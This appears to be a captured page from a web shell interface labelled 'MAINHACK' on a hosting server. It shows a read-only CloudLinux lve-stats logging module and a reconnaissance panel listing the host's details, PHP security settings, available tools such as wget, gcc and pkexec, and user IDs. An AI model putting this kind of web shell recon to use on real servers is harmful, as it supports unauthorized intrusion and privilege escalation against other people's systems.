[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: logsetup.py
File is not writable. Editing disabled.
# coding=utf-8 # # Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2019 All Rights Reserved # # Licensed under CLOUD LINUX LICENSE AGREEMENT # http://cloudlinux.com/docs/LICENSE.TXT from __future__ import absolute_import import logging import os from logging.handlers import SysLogHandler from raven import breadcrumbs from raven.handlers.logging import SentryHandler from lvestats.lib.commons.sentry import LveStatsSentryFilter, init_sentry_client LOGGING_LEVELS = { "debug": logging.DEBUG, "info": logging.INFO, "warning": logging.WARNING, "error": logging.ERROR, "critical": logging.CRITICAL } CONSOLE_LOG = None SYS_LOG = None FILE_LOG = None SENTRY_LOG = None # type: SentryHandler def setup_logging(config, caller_name="lvestats", console_level=logging.ERROR, file_level=None): """ Sets up logging :param dict|None config: pass None if config wasn't initialized yet, then don't use it. :param str caller_name: :param console_level: :param file_level: :return logging.Logger: log, initialized """ logging.root.setLevel(logging.DEBUG) init_console_log(console_level) init_syslog() init_file_log(get_file_logging_level(config, file_level)) init_sentry_handler(config) return logging.getLogger(caller_name) def init_syslog(): try: global SYS_LOG if SYS_LOG is None: SYS_LOG = SysLogHandler(address='/dev/log', facility=SysLogHandler.LOG_DAEMON) logging.root.addHandler(SYS_LOG) formatter_sys = logging.Formatter(fmt='lve-stats: (%(name)s) [%(levelname)s] %(message)s') SYS_LOG.setFormatter(formatter_sys) # write in system log only ERROR-s and FATALLERROR-s SYS_LOG.setLevel(logging.ERROR) except Exception: pass def init_file_log(file_level): log_file_name = '/var/log/lve-stats.log' try: global FILE_LOG if FILE_LOG is None: if not os.path.lexists(log_file_name): umask_saved = os.umask(0o77) open(log_file_name, 'w').close() os.umask(umask_saved) os.chmod(log_file_name, 0o600) FILE_LOG = logging.FileHandler(log_file_name) logging.root.addHandler(FILE_LOG) formatter = logging.Formatter(fmt='%(asctime)s: (%(name)s) [%(levelname)s] %(message)s') FILE_LOG.setFormatter(formatter) FILE_LOG.setLevel(file_level) except Exception: pass def init_sentry_handler(config): """ :param dict config: """ try: global SENTRY_LOG if SENTRY_LOG is None: for logger_name in ["sqlalchemy.pool.NullPool", 'main_loop.plugin_executor', 'sqlalchemy.orm.mapper.Mapper']: breadcrumbs.ignore_logger(logger_name, allow_level=logging.WARNING) client = init_sentry_client() # client.processors SENTRY_LOG = SentryHandler(client) sentry_filter = LveStatsSentryFilter() SENTRY_LOG.addFilter(sentry_filter) client.uncaught_logger.addFilter(sentry_filter) logging.root.addHandler(SENTRY_LOG) SENTRY_LOG.setLevel(logging.ERROR) if SENTRY_LOG and config and "db_type" not in SENTRY_LOG.client.tags: SENTRY_LOG.client.tags["db_type"] = config.get("db_type", "None") SENTRY_LOG.client.tags["server_id"] = config.get("server_id", "None") except Exception: pass def get_file_logging_level(config, file_level): if file_level is None: if config: logging_level = config.get("logging_level", "info").lower() if logging_level and logging_level not in LOGGING_LEVELS: logging.warning( "Unknown log level: " + logging_level + ". File logging level is set to " + str(file_level)) file_level = logging.INFO else: file_level = LOGGING_LEVELS.get(logging_level, logging.INFO) else: file_level = logging.CRITICAL return file_level def init_console_log(console_level): global CONSOLE_LOG if CONSOLE_LOG is None: CONSOLE_LOG = logging.StreamHandler() logging.root.addHandler(CONSOLE_LOG) formatter_console = logging.Formatter(fmt='%(levelname)s : (%(name)s) %(message)s') CONSOLE_LOG.setFormatter(formatter_console) CONSOLE_LOG.setLevel(console_level)
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 691.12 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: N/A